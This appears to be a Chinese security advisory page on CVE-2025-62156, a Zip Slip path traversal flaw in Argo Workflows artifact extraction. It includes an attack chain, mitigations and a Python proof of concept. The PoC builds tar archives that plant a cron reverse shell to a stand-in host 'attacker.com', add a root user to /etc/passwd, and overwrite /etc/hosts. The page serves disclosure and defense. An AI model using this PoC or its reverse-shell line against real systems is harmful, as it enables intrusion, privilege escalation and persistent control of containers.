IPBUF安全漏洞报告
English
CVE-2025-62156 CVSS 8.1 高危

CVE-2025-62156 Argo Workflows Zip Slip路径穿越漏洞

披露日期: 2025-10-14

漏洞信息

漏洞编号
CVE-2025-62156
漏洞类型
路径穿越(Zip Slip)
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Argo Workflows

相关标签

Zip Slip路径穿越Path TraversalArgo WorkflowsKubernetesartifacttar解压权限提升容器安全CWE-22

漏洞概述

Argo Workflows是一个开源的容器原生工作流引擎,用于在Kubernetes上编排并行作业。CVE-2025-62156是Argo Workflows在artifact(工件)解压过程中存在的Zip Slip路径穿越漏洞,CVSS评分为8.1,属于高危级别漏洞。该漏洞存在于3.6.12之前的所有版本以及3.7.0至3.7.2版本中。漏洞位于workflow/executor/executor.go文件的unpack/untar逻辑中,在解压工件时使用filepath.Join(dest, filepath.Clean(header.Name))进行路径拼接,但没有验证header.Name是否始终保持在预期的解压目录内。攻击者可以通过构造恶意的归档文件条目,提供包含路径穿越或绝对路径的条目名,经过filepath.Clean处理后覆盖目标目录,导致文件被写入到容器内的系统目录(如/etc目录)中。该漏洞可使攻击者在容器内实现任意文件创建或覆盖,包括修改/etc/passwd、/etc/hosts、/etc/crontab等关键系统配置文件,从而实现容器内的权限提升或持久化攻击。由于Argo Workflows广泛应用于Kubernetes集群的CI/CD和数据处理流水线中,此漏洞的影响范围较大,可能导致整个集群的安全受到威胁。建议用户尽快升级到3.6.12或3.7.3版本以修复该漏洞。

技术细节

该漏洞的核心问题在于Argo Workflows的artifact解压逻辑中缺乏对归档条目路径的安全验证。具体技术细节如下:

1. **漏洞位置**:workflow/executor/executor.go文件中的unpack/untar函数(约第993行)。

2. **漏洞原理**:在解压tar归档文件时,代码使用 `filepath.Join(dest, filepath.Clean(header.Name))` 来构建目标文件路径。filepath.Clean函数会处理路径中的'../'等穿越序列,但当header.Name本身就是绝对路径(如'/etc/passwd')或包含足够多的'../'来跳出目标目录时,filepath.Clean会将路径解析到目标目录之外。

3. **利用方式**:攻击者需要能够向Argo Workflows提交恶意的artifact文件。这可以通过以下方式实现:
- 创建一个包含恶意条目的tar归档文件
- 条目名设置为如 '../../../etc/passwd' 或 '/etc/cron.d/malicious' 等路径
- 将该artifact上传到Argo Workflows可以访问的位置(如S3、HTTP服务器等)
- 触发工作流执行artifact下载和解压操作

4. **影响范围**:成功利用后,攻击者可以在容器内的任意目录创建或覆盖文件,包括:
- /etc/passwd:添加新用户或修改现有用户
- /etc/crontab或/etc/cron.d/:添加定时任务实现持久化
- /etc/hosts:进行DNS劫持
- 其他关键配置文件

5. **修复方式**:GitHub commit 5659ad9b641fcf52c04ed594cd6493f9170f6011 和 9f6bc5d236cd1b24d607943384511d71ad17a4c3 添加了路径验证逻辑,确保解压的文件路径始终在目标目录内。

攻击链分析

STEP 1
步骤1:环境准备
攻击者识别目标环境中运行着受影响版本的Argo Workflows(< 3.6.12 或 3.7.0-3.7.2),并获取向工作流提交artifact的能力。
STEP 2
步骤2:构造恶意归档
攻击者创建一个恶意的tar归档文件,其中包含使用路径穿越(如../../../etc/cron.d/backdoor)或绝对路径(如/etc/passwd)的条目。
STEP 3
步骤3:上传恶意artifact
将恶意归档文件上传到Argo Workflows可访问的存储位置,如S3 bucket、HTTP服务器或Git仓库。
STEP 4
步骤4:触发工作流执行
通过提交或修改工作流定义,使其引用恶意artifact作为输入,触发artifact下载和解压操作。
STEP 5
步骤5:路径穿越触发
Argo Workflows执行executor.go中的unpack/untar逻辑,filepath.Join(dest, filepath.Clean(header.Name))将恶意路径解析到目标目录之外。
STEP 6
步骤6:任意文件写入
恶意文件被写入到容器内的系统目录(如/etc/cron.d/、/etc/passwd等),实现任意文件创建或覆盖。
STEP 7
步骤7:权限提升与持久化
攻击者通过修改的cron任务获得远程shell访问,或通过修改passwd文件获得root权限,实现容器内的持久化控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-62156 - Argo Workflows Zip Slip Path Traversal PoC This PoC creates a malicious tar archive that exploits the path traversal vulnerability in Argo Workflows artifact extraction. """ import tarfile import io import os def create_malicious_tar(output_path, target_path, content): """ Create a tar archive with a malicious entry that uses path traversal to write outside the intended extraction directory. Args: output_path: Path to save the malicious tar file target_path: Target file path (e.g., '../../../etc/cron.d/backdoor') content: Content to write to the target file """ with tarfile.open(output_path, 'w') as tar: # Create a tar info with the traversal path as the name info = tarfile.TarInfo(name=target_path) info.size = len(content) info.mode = 0o755 info.uid = 0 info.gid = 0 # Add the malicious entry to the archive tar.addfile(info, io.BytesIO(content.encode())) print(f"[+] Malicious tar archive created: {output_path}") print(f"[+] Target file: {target_path}") if __name__ == "__main__": # Example 1: Overwrite /etc/cron.d/backdoor for persistence cron_content = "* * * * * root bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'\n" create_malicious_tar( "exploit_cron.tar", "../../../etc/cron.d/backdoor", cron_content ) # Example 2: Add a new user to /etc/passwd passwd_content = "backdoor:$1$xyz$abc:0:0:backdoor:/root:/bin/bash\n" create_malicious_tar( "exploit_passwd.tar", "../../../etc/passwd", passwd_content ) # Example 3: Modify /etc/hosts for DNS hijacking hosts_content = "127.0.0.1 attacker-controlled.example.com\n" create_malicious_tar( "exploit_hosts.tar", "../../../etc/hosts", hosts_content ) print("\n[!] To exploit:") print(" 1. Upload the malicious tar to an accessible location (S3, HTTP, etc.)") print(" 2. Configure an Argo Workflows artifact pointing to this file") print(" 3. Execute the workflow to trigger artifact extraction") print(" 4. The malicious file will be written outside the extraction directory")

影响范围

Argo Workflows < 3.6.12
Argo Workflows 3.7.0
Argo Workflows 3.7.1
Argo Workflows 3.7.2

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制能够向Argo Workflows提交artifact的用户权限,确保只有受信任的用户可以创建和触发工作流;2)使用Kubernetes的Pod Security Standards或OPA策略限制executor容器的权限,禁止写入/etc等关键目录;3)部署时设置readOnlyRootFilesystem: true并使用emptyDir卷来防止对系统目录的修改;4)使用Seccomp或AppArmor配置文件限制容器的系统调用和文件访问;5)监控和审计artifact下载行为,及时发现异常活动;6)考虑使用网络策略限制executor容器的网络访问,减少攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表